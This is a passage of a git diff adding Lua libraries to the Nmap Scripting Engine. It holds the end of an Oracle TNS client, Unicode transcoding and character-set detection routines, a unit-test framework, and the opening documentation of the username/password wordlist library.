+ -- @return result table containing fields
+ -- <code>rows</code>
+ -- <code>columns</code>
+ -- @return err containing error message when status is false
+ Query = function(self, query)
+
+ local SUPPORTED_VERSIONS = {
+ "IBMPC/WIN_NT-8.1.0",
+ }
+
+ local status = false
+ for _, ver in pairs(SUPPORTED_VERSIONS) do
+ if ( self.os == ver ) then
+ status = true
+ break
+ end
+ end
+
+ if ( not(status) ) then
+ stdnse.debug2("ERROR: Version %s is not yet supported", self.os)
+ return false, ("ERROR: Querying version %s is not yet supported"):format(self.os)
+ end
+
+ if ( not(query) ) then return false, "No query was supplied by user" end
+
+ local data
+ status, data = self.comm:exchTNSPacket( Packet.PostLogin:new(self.auth_session) )
+ if ( not(status) ) then
+ return false, "ERROR: Postlogin packet failed"
+ end
+
+ local status, result = self.comm:exchTNSPacket( Packet.Query:new(query) )
+ if ( not(status) ) then return false, result end
+
+ if ( not(result.moredata) ) then return true, result.data end
+ result = result.data
+
+ repeat
+ status, data = self.comm:exchTNSPacket( Packet.QueryResponseAck:new(result) )
+ until(not(status) or data:match(".*ORA%-01403: no data found\n$"))
+
+ return true, result
+ end,
+
+ --- Ends the Oracle communication
+ Close = function( self )
+ -- We should probably stick some slick sqlplus termination stuff in here
+ local status = self.comm:sendTNSPacket( Packet.EOF:new( ) )
+ self.socket:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/unicode.lua b/nselib/unicode.lua
new file mode 100644
index 0000000..284b6e9
--- /dev/null
+++ b/nselib/unicode.lua
@@ -0,0 +1,467 @@
+---
+-- Library methods for handling unicode strings.
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+
+local string = require "string"
+local table = require "table"
+local stdnse = require "stdnse"
+local unittest = require "unittest"
+local tableaux = require "tableaux"
+local utf8 = require "utf8"
+_ENV = stdnse.module("unicode", stdnse.seeall)
+
+-- Localize a few functions for a tiny speed boost, since these will be looped
+-- over every char of a string
+local byte = string.byte
+local char = string.char
+local pack = string.pack
+local unpack = string.unpack
+local concat = table.concat
+local pcall = pcall
+
+
+---Decode a buffer containing Unicode data.
+--@param buf The string/buffer to be decoded
+--@param decoder A Unicode decoder function (such as utf8_dec)
+--@param bigendian For encodings that care about byte-order (such as UTF-16),
+-- set this to true to force big-endian byte order. Default:
+-- false (little-endian)
+--@return A list-table containing the code points as numbers
+function decode(buf, decoder, bigendian)
+ if decoder == utf8_dec then
+ return {utf8.codepoint(buf, 1, -1)}
+ end
+ local cp = {}
+ local pos = 1
+ while pos <= #buf do
+ pos, cp[#cp+1] = decoder(buf, pos, bigendian)
+ end
+ return cp
+end
+
+---Encode a list of Unicode code points
+--@param list A list-table of code points as numbers
+--@param encoder A Unicode encoder function (such as utf8_enc)
+--@param bigendian For encodings that care about byte-order (such as UTF-16),
+-- set this to true to force big-endian byte order. Default:
+-- false (little-endian)
+--@return An encoded string
+function encode(list, encoder, bigendian)
+ if encoder == utf8_enc then
+ return utf8.char(table.unpack(list))
+ end
+ local buf = {}
+ for i, cp in ipairs(list) do
+ buf[i] = encoder(cp, bigendian)
+ end
+ return table.concat(buf, "")
+end
+
+---Transcode a string from one format to another
+--
+--The string will be decoded and re-encoded in one pass. This saves some
+--overhead vs simply passing the output of <code>unicode.encode</code> to
+--<code>unicode.decode</code>.
+--@param buf The string/buffer to be transcoded
+--@param decoder A Unicode decoder function (such as utf16_dec)
+--@param encoder A Unicode encoder function (such as utf8_enc)
+--@param bigendian_dec Set this to true to force big-endian decoding.
+--@param bigendian_enc Set this to true to force big-endian encoding.
+--@return An encoded string
+function transcode(buf, decoder, encoder, bigendian_dec, bigendian_enc)
+ local out = {}
+ local cp
+ local pos = 1
+ -- Take advantage of Lua's built-in utf8 functions
+ if decoder == utf8_dec then
+ for _, cp in utf8.codes(buf) do
+ out[#out+1] = encoder(cp, bigendian_enc)
+ end
+ elseif encoder == utf8_enc then
+ while pos <= #buf do
+ pos, cp = decoder(buf, pos, bigendian_dec)
+ out[#out+1] = utf8.char(cp)
+ end
+ else
+ while pos <= #buf do
+ pos, cp = decoder(buf, pos, bigendian_dec)
+ out[#out+1] = encoder(cp, bigendian_enc)
+ end
+ end
+ return table.concat(out)
+end
+
+--- Determine (poorly) the character encoding of a string
+--
+-- First, the string is checked for a Byte-order Mark (BOM). This can be
+-- examined to determine UTF-16 with endianness or UTF-8. If no BOM is found,
+-- the string is examined.
+--
+-- If null bytes are encountered, UTF-16 is assumed. Endianness is determined
+-- by byte position, assuming the null is the high-order byte. Otherwise, if
+-- byte values over 127 are found, UTF-8 decoding is attempted. If this fails,
+-- the result is 'other', otherwise it is 'utf-8'. If no high bytes are found,
+-- the result is 'ascii'.
+--
+--@param buf The string/buffer to be identified
+--@param len The number of bytes to inspect in order to identify the string.
+-- Default: 100
+--@return A string describing the encoding: 'ascii', 'utf-8', 'utf-16be',
+-- 'utf-16le', or 'other' meaning some unidentified 8-bit encoding
+function chardet(buf, len)
+ local limit = len or 100
+ if limit > #buf then
+ limit = #buf
+ end
+ -- Check BOM
+ if limit >= 2 then
+ local bom1, bom2 = byte(buf, 1, 2)
+ if bom1 == 0xff and bom2 == 0xfe then
+ return 'utf-16le'
+ elseif bom1 == 0xfe and bom2 == 0xff then
+ return 'utf-16be'
+ elseif limit >= 3 then
+ local bom3 = byte(buf, 3)
+ if bom1 == 0xef and bom2 == 0xbb and bom3 == 0xbf then
+ return 'utf-8'
+ end
+ end
+ end
+ -- Try bytes
+ local pos = 1
+ local high = false
+ local is_utf8 = true
+ while pos < limit do
+ local c = byte(buf, pos)
+ if c == 0 then
+ if pos % 2 == 0 then
+ return 'utf-16le'
+ else
+ return 'utf-16be'
+ end
+ is_utf8 = false
+ pos = pos + 1
+ elseif c > 127 then
+ if not high then
+ high = true
+ end
+ if is_utf8 then
+ local p, cp = utf8_dec(buf, pos)
+ if not p then
+ is_utf8 = false
+ else
+ pos = p
+ end
+ end
+ if not is_utf8 then
+ pos = pos + 1
+ end
+ else
+ pos = pos + 1
+ end
+ end
+ if high then
+ if is_utf8 then
+ return 'utf-8'
+ else
+ return 'other'
+ end
+ else
+ return 'ascii'
+ end
+end
+
+---Encode a Unicode code point to UTF-16. See RFC 2781.
+--
+-- Windows OS prior to Windows 2000 only supports UCS-2, so beware using this
+-- function to encode code points above 0xFFFF.
+--@param cp The Unicode code point as a number
+--@param bigendian Set this to true to encode big-endian UTF-16. Default is
+-- false (little-endian)
+--@return A string containing the code point in UTF-16 encoding.
+function utf16_enc(cp, bigendian)
+ local fmt = "<I2"
+ if bigendian then
+ fmt = ">I2"
+ end
+
+ if cp % 1.0 ~= 0.0 or cp < 0 then
+ -- Only defined for nonnegative integers.
+ return nil
+ elseif cp <= 0xFFFF then
+ return pack(fmt, cp)
+ elseif cp <= 0x10FFFF then
+ cp = cp - 0x10000
+ return pack(fmt .. fmt, 0xD800 + (cp >> 10), 0xDC00 + (cp & 0x3FF))
+ else
+ return nil
+ end
+end
+
+---Decodes a UTF-16 character.
+--
+-- Does not check that the returned code point is a real character.
+-- Specifically, it can be fooled by out-of-order lead- and trail-surrogate
+-- characters.
+--@param buf A string containing the character
+--@param pos The index in the string where the character begins
+--@param bigendian Set this to true to encode big-endian UTF-16. Default is
+-- false (little-endian)
+--@return pos The index in the string where the character ended
+--@return cp The code point of the character as a number
+function utf16_dec(buf, pos, bigendian)
+ local fmt = "<I2"
+ if bigendian then
+ fmt = ">I2"
+ end
+
+ local cp
+ cp, pos = unpack(fmt, buf, pos)
+ if cp >= 0xD800 and cp <= 0xDFFF then
+ local high = (cp - 0xD800) << 10
+ cp, pos = unpack(fmt, buf, pos)
+ cp = 0x10000 + high + cp - 0xDC00
+ end
+ return pos, cp
+end
+
+---Encode a Unicode code point to UTF-8. See RFC 3629.
+--
+-- Does not check that cp is a real character; that is, doesn't exclude the
+-- surrogate range U+D800 - U+DFFF and a handful of others.
+-- @class function
+--@param cp The Unicode code point as a number
+--@return A string containing the code point in UTF-8 encoding.
+utf8_enc = utf8.char
+
+---Decodes a UTF-8 character.
+--
+-- Does not check that the returned code point is a real character.
+--@param buf A string containing the character
+--@param pos The index in the string where the character begins
+--@return pos The index in the string where the character ended or nil on error
+--@return cp The code point of the character as a number, or an error string
+function utf8_dec(buf, pos)
+ pos = pos or 1
+ local status, cp = pcall(utf8.codepoint, buf, pos)
+ if status then
+ return utf8.offset(buf, 2, pos), cp
+ else
+ return nil, cp
+ end
+end
+
+-- Code Page 437, native US-English Windows OEM code page
+local cp437_decode = {
+ [0x80] = 0x00c7,
+ [0x81] = 0x00fc,
+ [0x82] = 0x00e9,
+ [0x83] = 0x00e2,
+ [0x84] = 0x00e4,
+ [0x85] = 0x00e0,
+ [0x86] = 0x00e5,
+ [0x87] = 0x00e7,
+ [0x88] = 0x00ea,
+ [0x89] = 0x00eb,
+ [0x8a] = 0x00e8,
+ [0x8b] = 0x00ef,
+ [0x8c] = 0x00ee,
+ [0x8d] = 0x00ec,
+ [0x8e] = 0x00c4,
+ [0x8f] = 0x00c5,
+ [0x90] = 0x00c9,
+ [0x91] = 0x00e6,
+ [0x92] = 0x00c6,
+ [0x93] = 0x00f4,
+ [0x94] = 0x00f6,
+ [0x95] = 0x00f2,
+ [0x96] = 0x00fb,
+ [0x97] = 0x00f9,
+ [0x98] = 0x00ff,
+ [0x99] = 0x00d6,
+ [0x9a] = 0x00dc,
+ [0x9b] = 0x00a2,
+ [0x9c] = 0x00a3,
+ [0x9d] = 0x00a5,
+ [0x9e] = 0x20a7,
+ [0x9f] = 0x0192,
+ [0xa0] = 0x00e1,
+ [0xa1] = 0x00ed,
+ [0xa2] = 0x00f3,
+ [0xa3] = 0x00fa,
+ [0xa4] = 0x00f1,
+ [0xa5] = 0x00d1,
+ [0xa6] = 0x00aa,
+ [0xa7] = 0x00ba,
+ [0xa8] = 0x00bf,
+ [0xa9] = 0x2310,
+ [0xaa] = 0x00ac,
+ [0xab] = 0x00bd,
+ [0xac] = 0x00bc,
+ [0xad] = 0x00a1,
+ [0xae] = 0x00ab,
+ [0xaf] = 0x00bb,
+ [0xb0] = 0x2591,
+ [0xb1] = 0x2592,
+ [0xb2] = 0x2593,
+ [0xb3] = 0x2502,
+ [0xb4] = 0x2524,
+ [0xb5] = 0x2561,
+ [0xb6] = 0x2562,
+ [0xb7] = 0x2556,
+ [0xb8] = 0x2555,
+ [0xb9] = 0x2563,
+ [0xba] = 0x2551,
+ [0xbb] = 0x2557,
+ [0xbc] = 0x255d,
+ [0xbd] = 0x255c,
+ [0xbe] = 0x255b,
+ [0xbf] = 0x2510,
+ [0xc0] = 0x2514,
+ [0xc1] = 0x2534,
+ [0xc2] = 0x252c,
+ [0xc3] = 0x251c,
+ [0xc4] = 0x2500,
+ [0xc5] = 0x253c,
+ [0xc6] = 0x255e,
+ [0xc7] = 0x255f,
+ [0xc8] = 0x255a,
+ [0xc9] = 0x2554,
+ [0xca] = 0x2569,
+ [0xcb] = 0x2566,
+ [0xcc] = 0x2560,
+ [0xcd] = 0x2550,
+ [0xce] = 0x256c,
+ [0xcf] = 0x2567,
+ [0xd0] = 0x2568,
+ [0xd1] = 0x2564,
+ [0xd2] = 0x2565,
+ [0xd3] = 0x2559,
+ [0xd4] = 0x2558,
+ [0xd5] = 0x2552,
+ [0xd6] = 0x2553,
+ [0xd7] = 0x256b,
+ [0xd8] = 0x256a,
+ [0xd9] = 0x2518,
+ [0xda] = 0x250c,
+ [0xdb] = 0x2588,
+ [0xdc] = 0x2584,
+ [0xdd] = 0x258c,
+ [0xde] = 0x2590,
+ [0xdf] = 0x2580,
+ [0xe0] = 0x03b1,
+ [0xe1] = 0x00df,
+ [0xe2] = 0x0393,
+ [0xe3] = 0x03c0,
+ [0xe4] = 0x03a3,
+ [0xe5] = 0x03c3,
+ [0xe6] = 0x00b5,
+ [0xe7] = 0x03c4,
+ [0xe8] = 0x03a6,
+ [0xe9] = 0x0398,
+ [0xea] = 0x03a9,
+ [0xeb] = 0x03b4,
+ [0xec] = 0x221e,
+ [0xed] = 0x03c6,
+ [0xee] = 0x03b5,
+ [0xef] = 0x2229,
+ [0xf0] = 0x2261,
+ [0xf1] = 0x00b1,
+ [0xf2] = 0x2265,
+ [0xf3] = 0x2264,
+ [0xf4] = 0x2320,
+ [0xf5] = 0x2321,
+ [0xf6] = 0x00f7,
+ [0xf7] = 0x2248,
+ [0xf8] = 0x00b0,
+ [0xf9] = 0x2219,
+ [0xfa] = 0x00b7,
+ [0xfb] = 0x221a,
+ [0xfc] = 0x207f,
+ [0xfd] = 0x00b2,
+ [0xfe] = 0x25a0,
+ [0xff] = 0x00a0,
+}
+local cp437_encode = tableaux.invert(cp437_decode)
+
+---Encode a Unicode code point to CP437
+--
+-- Returns nil if the code point cannot be found in CP437
+--@param cp The Unicode code point as a number
+--@return A string containing the related CP437 character
+function cp437_enc(cp)
+ if cp < 0x80 then
+ return char(cp)
+ else
+ local bv = cp437_encode[cp]
+ if bv == nil then
+ return nil
+ else
+ return char(bv)
+ end
+ end
+end
+
+---Decodes a CP437 character
+--@param buf A string containing the character
+--@param pos The index in the string where the character begins
+--@return pos The index in the string where the character ended
+--@return cp The code point of the character as a number
+function cp437_dec(buf, pos)
+ pos = pos or 1
+ local bv = byte(buf, pos)
+ if bv < 0x80 then
+ return pos + 1, bv
+ else
+ return pos + 1, cp437_decode[bv]
+ end
+end
+
+---Helper function for the common case of UTF-16 to UTF-8 transcoding, such as
+--from a Windows/SMB unicode string to a printable ASCII (subset of UTF-8)
+--string.
+--@param from A string in UTF-16, little-endian
+--@return The string in UTF-8
+function utf16to8(from)
+ return transcode(from, utf16_dec, utf8_enc, false, nil)
+end
+
+---Helper function for the common case of UTF-8 to UTF-16 transcoding, such as
+--from a printable ASCII (subset of UTF-8) string to a Windows/SMB unicode
+--string.
+--@param from A string in UTF-8
+--@return The string in UTF-16, little-endian
+function utf8to16(from)
+ return transcode(from, utf8_dec, utf16_enc, nil, false)
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+test_suite:add_test(function()
+ local pos, cp = utf8_dec("\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E")
+ return pos == 4 and cp == 0x65E5, string.format("Expected 4, 0x65E5; got %d, 0x%x", pos, cp)
+ end, "utf8_dec")
+
+test_suite:add_test(unittest.equal(encode({0x65E5,0x672C,0x8A9E}, utf8_enc), "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E"),"encode utf-8")
+test_suite:add_test(unittest.equal(encode({0x12345,61,82,97}, utf16_enc), "\x08\xD8\x45\xDF=\0R\0a\0"),"encode utf-16")
+test_suite:add_test(unittest.equal(encode({0x12345,61,82,97}, utf16_enc, true), "\xD8\x08\xDF\x45\0=\0R\0a"),"encode utf-16, big-endian")
+test_suite:add_test(unittest.table_equal(decode("\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E", utf8_dec), {0x65E5,0x672C,0x8A9E}),"decode utf-8")
+test_suite:add_test(unittest.table_equal(decode("\x08\xD8\x45\xDF=\0R\0a\0", utf16_dec), {0x12345,61,82,97}),"decode utf-16")
+test_suite:add_test(unittest.table_equal(decode("\xD8\x08\xDF\x45\0=\0R\0a", utf16_dec, true), {0x12345,61,82,97}),"decode utf-16, big-endian")
+test_suite:add_test(unittest.equal(utf16to8("\x08\xD8\x45\xDF=\0R\0a\0"), "\xF0\x92\x8D\x85=Ra"),"utf16to8")
+test_suite:add_test(unittest.equal(utf8to16("\xF0\x92\x8D\x85=Ra"), "\x08\xD8\x45\xDF=\0R\0a\0"),"utf8to16")
+test_suite:add_test(unittest.equal(encode({0x221e, 0x2248, 0x30}, cp437_enc), "\xec\xf70"), "encode cp437")
+test_suite:add_test(unittest.table_equal(decode("\x81ber", cp437_dec), {0xfc, 0x62, 0x65, 0x72}), "decode cp437")
+test_suite:add_test(unittest.equal(chardet("\x08\xD8\x45\xDF=\0R\0a\0"), 'utf-16le'), "detect utf-16le")
+test_suite:add_test(unittest.equal(chardet("\xD8\x08\xDF\x45\0=\0R\0a"), 'utf-16be'), "detect utf-16be")
+test_suite:add_test(unittest.equal(chardet("...\xF0\x92\x8D\x85=Ra"), 'utf-8'), "detect utf-8")
+test_suite:add_test(unittest.equal(chardet("This sentence is completely normal."), 'ascii'), "detect ascii")
+test_suite:add_test(unittest.equal(chardet('Comme ci, comme \xe7a'), 'other'), "detect other")
+
+return _ENV
diff --git a/nselib/unittest.lua b/nselib/unittest.lua
new file mode 100644
index 0000000..c4e593f
--- /dev/null
+++ b/nselib/unittest.lua
@@ -0,0 +1,524 @@
+---
+-- Unit testing support for NSE libraries.
+--
+-- This library will import all NSE libraries looking for a global variable
+-- <code>test_suite</code>. This must be a callable that returns true or false
+-- and the number of tests that failed. For convenience, the
+-- <code>unittest.TestSuite</code> class has this property, and tests can be
+-- added with <code>add_test</code>. Example:
+--
+-- <code>
+-- local data = {"foo", "bar", "baz"}
+-- test_suite = unittest.TestSuite:new()
+-- test_suite:add_test(equal(data[2], "bar"), "data[2] should equal 'bar'")
+-- </code>
+--
+-- The library is driven by the unittest NSE script.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local nmap = require "nmap"
+local nsedebug = require "nsedebug"
+local listop = require "listop"
+_ENV = stdnse.module("unittest", stdnse.seeall)
+
+local libs = {
+"afp",
+"ajp",
+"amqp",
+"anyconnect",
+"asn1",
+"base32",
+"base64",
+"bitcoin",
+"bits",
+"bittorrent",
+"bjnp",
+"brute",
+"cassandra",
+"citrixxml",
+"coap",
+"comm",
+"creds",
+"cvs",
+"datafiles",
+"datetime",
+"dhcp",
+"dhcp6",
+"dns",
+"dnsbl",
+"dnssd",
+"drda",
+"eap",
+"eigrp",
+"formulas",
+"ftp",
+"geoip",
+"giop",
+"gps",
+"http",
+"httpspider",
+"iax2",
+"idna",
+"ike",
+"imap",
+"informix",
+"ipOps",
+"ipmi",
+"ipp",
+"irc",
+"iscsi",
+"isns",
+"jdwp",
+"json",
+"knx",
+"ldap",
+"lfs",
+"libssh2",
+"libssh2-utility",
+"listop",
+"lpeg",
+"lpeg-utility",
+"ls",
+"match",
+"membase",
+"mobileme",
+"mongodb",
+"mqtt",
+"msrpc",
+"msrpcperformance",
+"msrpctypes",
+"mssql",
+"multicast",
+"mysql",
+"natpmp",
+"nbd",
+"ncp",
+"ndmp",
+"netbios",
+"nmap",
+"nrpc",
+"nsedebug",
+"omp2",
+"openssl",
+"ospf",
+"outlib",
+"packet",
+"pgsql",
+"pop3",
+"pppoe",
+"proxy",
+"punycode",
+"rand",
+"rdp",
+"re",
+"redis",
+"rmi",
+"rpc",
+"rpcap",
+"rsync",
+"rtsp",
+"sasl",
+"shortport",
+"sip",
+"slaxml",
+"smb",
+"smb2",
+"smbauth",
+"smtp",
+"snmp",
+"socks",
+"srvloc",
+"ssh1",
+"ssh2",
+"sslcert",
+"sslv2",
+"stdnse",
+"strbuf",
+--"strict", -- behaves oddly
+"stringaux",
+"stun",
+"tab",
+"tableaux",
+"target",
+"tftp",
+"tls",
+"tn3270",
+"tns",
+"unicode",
+"unittest",
+"unpwdb",
+"upnp",
+"url",
+"versant",
+"vnc",
+"vulns",
+"vuzedht",
+"wsdd",
+"xdmcp",
+"xmpp",
+"zlib",
+}
+
+-- This script-arg is documented in the unittest script to avoid cluttering
+-- NSEdoc of all the libraries which include this one.
+local am_testing = stdnse.get_script_args('unittest.run')
+---Check whether tests are being run
+--
+-- Libraries can use this function to avoid the overhead of creating tests if
+-- the user hasn't chosen to run them. Unittesting is turned on with the
+-- <code>unittest.run</code> script-arg.
+-- @return true if unittests are being run, false otherwise.
+function testing()
+ return am_testing
+end
+
+---
+-- Run tests provided by NSE libraries
+-- @param to_test A list (table) of libraries to test. If none is provided, all
+-- libraries are tested.
+run_tests = function(to_test)
+ am_testing = true
+ if to_test == nil then
+ to_test = libs
+ end
+ local fails = stdnse.output_table()
+ for _,lib in ipairs(to_test) do
+ stdnse.debug1("Testing %s", lib)
+ local status, thelib = pcall(require, lib)
+ if not status then
+ fails[lib] = ("Failed to load: %s"):format(thelib)
+ else
+ local failed = 0
+ if rawget(thelib,"test_suite") ~= nil then
+ failed = thelib.test_suite()
+ end
+ if failed ~= 0 then
+ fails[lib] = failed
+ end
+ end
+ end
+ return fails
+end
+
+--- The TestSuite class
+--
+-- Holds and runs tests.
+TestSuite = {
+
+ --- Creates a new TestSuite object
+ --
+ -- @name TestSuite.new
+ -- @return TestSuite object
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.tests = {}
+ return o
+ end,
+
+ --- Set up test environment. Override this.
+ -- @name TestSuite.setup
+ setup = function(self)
+ return true
+ end,
+ --- Tear down test environment. Override this.
+ -- @name TestSuite.teardown
+ teardown = function(self)
+ return true
+ end,
+ --- Add a test.
+ -- @name TestSuite.add_test
+ -- @param test Function that will be called with the TestSuite object as its only parameter.
+ -- @param description A description of the test being run
+ add_test = function(self, test, description)
+ self.tests[#self.tests+1] = {test, description}
+ end,
+
+ --- Run tests.
+ -- Runs all tests in the TestSuite, and returns the number of failures.
+ -- @name TestSuite.__call
+ -- @return failures The number of tests that failed
+ -- @return tests The number of tests run
+ __call = function(self)
+ local failures = 0
+ local passes = 0
+ self:setup()
+ for _,test in ipairs(self.tests) do
+ stdnse.debug2("| Test: %s...", test[2])
+ local status, note = test[1](self)
+ local result
+ local lvl = 2
+ if status then
+ result = "Pass"
+ passes = passes + 1
+ else
+ result = "Fail"
+ lvl = 1
+ if nmap.debugging() < 2 then
+ stdnse.debug1("| Test: %s...", test[2])
+ end
+ failures = failures + 1
+ end
+ if note then
+ stdnse.debug(lvl, "| \\_result: %s (%s)", result, note)
+ else
+ stdnse.debug(lvl, "| \\_result: %s", result)
+ end
+ end
+ stdnse.debug1("|_%d of %d tests passed", passes, #self.tests)
+ self:teardown()
+ return failures, #self.tests
+ end,
+}
+
+--- Test creation helper function.
+-- Turns a simple function into a test factory.
+-- @param test A function that returns true or false depending on test
+-- @param fmt A format string describing the failure condition using the
+-- arguments to the test function
+-- @return function that generates tests suitable for use in add_test
+make_test = function(test, fmt)
+ return function(...)
+ local args={...}
+ local nargs = select("#", ...)
+ return function(suite)
+ if not test(table.unpack(args,1,nargs)) then
+ local dbgargs = {}
+ for i = 1, nargs do
+ dbgargs[i] = nsedebug.tostr(args[i]):gsub("\n*$", '')
+ end
+ return false, string.format(fmt, table.unpack(dbgargs,1,nargs))
+ end
+ return true
+ end
+ end
+end
+
+--- Test for nil
+-- @param value The value to test
+-- @return bool True if the value is nil, false otherwise.
+is_nil = function(value)
+ return value == nil
+end
+is_nil = make_test(is_nil, "Expected nil, got %s")
+
+--- Test for not nil
+-- @param value The value to test
+-- @return bool True if the value is not nil, false otherwise.
+not_nil = function(value)
+ return value ~= nil
+end
+not_nil = make_test(not_nil, "Expected not nil, got %s")
+
+--- Test for Lua type
+-- @param typ The type that value should be
+-- @param value The value to test
+-- @return bool True if type(value) == typ
+type_is = function (typ, value)
+ return type(value) == typ
+end
+type_is = make_test(type_is, "Value is not a '%s': %s")
+
+--- Test tables for equality, 1 level deep
+-- @param a The first table to test
+-- @param b The second table to test
+-- @return bool True if #a == #b and a[i] == b[i] for every i<#a, false otherwise.
+table_equal = function(a, b)
+ return function (suite)
+ if #a ~= #b then
+ return false, "Length not equal"
+ end
+ for i, v in ipairs(a) do
+ if b[i] ~= v then
+ return false, string.format("%s ~= %s at position %d", v, b[i], i)
+ end
+ end
+ return true
+ end
+end
+
+--- Test associative tables for equality, 1 level deep
+-- @param a The first table to test
+-- @param b The second table to test
+-- @return bool True if a[k] == b[k] for all k in a and b
+keys_equal = function(a, b)
+ return function (suite)
+ local seen = {}
+ for k, v in pairs(a) do
+ if b[k] ~= v then
+ return false, ("%s ~= %s at key %s"):format(v, b[k], k)
+ end
+ seen[k] = true
+ end
+ for k, v in pairs(b) do
+ if not seen[k] then
+ return false, ("Key %s not present in table a"):format(k)
+ end
+ end
+ return true
+ end
+end
+
+--- Test two values for equality, recursively if necessary.
+--
+-- This function checks that both values are indistinguishable in all
+-- but memory location.
+--
+-- @param a The first value to test.
+-- @param b The second value to test
+-- @return bool True if values are indistinguishable, false otherwise.
+-- @return note Nil if values are indistinguishable, description of
+-- distinguishability otherwise.
+identical = function(a, b)
+ return function(suite)
+ local function _identical(val1, val2, path)
+ local table_size = function(tbl)
+ local count = 0
+ for k in pairs(tbl) do
+ count = count + 1
+ end
+ return count
+ end
+
+ -- Both values must be of the same type
+ local t1, t2 = type(val1), type(val2)
+ if t1 ~= t2 then
+ return false, string.format("Types of %s are not equal: %s ~= %s", path, t1, t2)
+ end
+
+ -- For non-tables, we can make a direct comparison.
+ if t1 ~= "table" then
+ if val1 ~= val2 then
+ return false, string.format("Values of %s are not equal: %s ~= %s", path, val1, val2)
+ end
+ return true
+ end
+
+ -- For tables, we must first check that they are of equal size.
+ local len1, len2 = table_size(val1), table_size(val2)
+ if len1 ~= len2 then
+ return false, string.format("Sizes of %s are not equal: %s ~= %s", path, len1, len2)
+ end
+
+ -- Finally, we must recursively check all of the values in the tables.
+ for k,v in pairs(val1) do
+ -- Check that the key's value is identical in both tables, passing
+ -- along the path of keys we have taken to get here.
+ local status, note = _identical(val1[k], val2[k], string.format('%s["%s"]', path, k))
+ if not status then
+ return false, note
+ end
+ end
+
+ return true
+ end
+
+ return _identical(a, b, "<top>")
+ end
+end
+
+--- Test for equality
+-- @param a The first value to test
+-- @param b The second value to test
+-- @return bool True if a == b, false otherwise.
+equal = function(a, b)
+ return a == b
+end
+equal = make_test(equal, "%s not equal to %s")
+
+--- Test for inequality
+-- @param a The first value to test
+-- @param b The second value to test
+-- @return bool True if a != b, false otherwise.
+not_equal = function(a, b)
+ return a ~= b
+end
+not_equal = make_test(not_equal, "%s unexpectedly equal to %s")
+
+--- Test for truth
+-- @param value The value to test
+-- @return bool True if value is a boolean and true
+is_true = function(value)
+ return value == true
+end
+is_true = make_test(is_true, "Expected true, got %s")
+
+--- Test for falsehood
+-- @param value The value to test
+-- @return bool True if value is a boolean and false
+is_false = function(value)
+ return value == false
+end
+is_false = make_test(is_false, "Expected false, got %s")
+
+--- Test less than
+-- @param a The first value to test
+-- @param b The second value to test
+-- @return bool True if a < b, false otherwise.
+lt = function(a, b)
+ return a < b
+end
+lt = make_test(lt, "%s not less than %s")
+
+--- Test less than or equal to
+-- @param a The first value to test
+-- @param b The second value to test
+-- @return bool True if a <= b, false otherwise.
+lte = function(a, b)
+ return a <= b
+end
+lte = make_test(lte, "%s not less than %s")
+
+--- Test length
+-- @param t The table to test
+-- @param l The length to test
+-- @return bool True if the length of t is l
+length_is = function(t, l)
+ return #t == l
+end
+length_is = make_test(length_is, "Length of %s is not %s")
+
+--- Expected failure test
+-- @param test The test to run
+-- @return function A test for expected failure of the test
+expected_failure = function(test)
+ return function(suite)
+ if test(suite) then
+ return false, "Test unexpectedly passed"
+ end
+
+ return true, "Test failed as expected"
+ end
+end
+
+
+if not testing() then
+ return _ENV
+end
+
+-- Self test
+test_suite = TestSuite:new()
+
+test_suite:add_test(is_nil(test_suite["asdfdoesnotexist"]), "Nonexistent key does not exist")
+test_suite:add_test(equal(1+1336, 7 * 191), "Arithmetically equal expressions are equal")
+test_suite:add_test(not_equal( true, "true" ), "Boolean true not equal to string \"true\"")
+test_suite:add_test(is_true("test" == "test"), "Boolean expression evaluates to true")
+test_suite:add_test(is_false(1.9999 == 2.0), "Boolean expression evaluates to false")
+test_suite:add_test(lt(1, 999), "1 < 999")
+test_suite:add_test(lte(8, 8), "8 <= 8")
+test_suite:add_test(expected_failure(not_nil(nil)), "Test expected to fail fails")
+test_suite:add_test(expected_failure(expected_failure(is_nil(nil))), "Test expected to succeed does not fail")
+test_suite:add_test(keys_equal({one=1,two=2,[3]="three"},{[3]="three",one=1,two=2}), "identical tables are identical")
+test_suite:add_test(expected_failure(keys_equal({one=1,two=2},{[3]="three",one=1,two=2}), "dissimilar tables are dissimilar"))
+test_suite:add_test(identical(0, 0), "integer === integer")
+test_suite:add_test(identical(nil, nil), "nil === nil")
+test_suite:add_test(identical({}, {}), "{} === {}")
+test_suite:add_test(type_is("table", {}), "{} is a table")
+test_suite:add_test(length_is(test_suite.tests, 16), "Number of tests is 16")
+
+return _ENV;
diff --git a/nselib/unpwdb.lua b/nselib/unpwdb.lua
new file mode 100644
index 0000000..3452639
--- /dev/null
+++ b/nselib/unpwdb.lua
@@ -0,0 +1,338 @@
+---
+-- Username/password database library.
+--
+-- The <code>usernames</code> and <code>passwords</code> functions return
+-- multiple values for use with exception handling via
+-- <code>nmap.new_try</code>. The first value is the Boolean success
+-- indicator, the second value is the closure.
+--
+-- The closures can take an argument of <code>"reset"</code> to rewind the list
+-- to the beginning.
+--
+-- To avoid taking a long time against slow services, the closures will
+-- stop returning values (start returning <code>nil</code>) after a
+-- certain time. The time depends on the timing template level, and is
+-- * <code>-T3</code> or less: 10 minutes
+-- * <code>-T4</code>: 5 minutes
+-- * <code>-T5</code>: 3 minutes
+-- Time limits are increased by 50% if a custom username or password
+-- database is used with the <code>userdb</code> or <code>passdb</code>
+-- script arguments. You can control the time limit directly with the
+-- <code>unpwdb.timelimit</code> script argument. Use
+-- <code>unpwdb.timelimit=0</code> to disable the time limit.
+--
+-- You can select your own username and/or password database to read from with
+-- the script arguments <code>userdb</code> and <code>passdb</code>,
+-- respectively. Comments are allowed in these files, prefixed with
+-- <code>"#!comment:"</code>. Comments cannot be on the same line as a
+-- username or password because this leaves too much ambiguity, e.g. does the
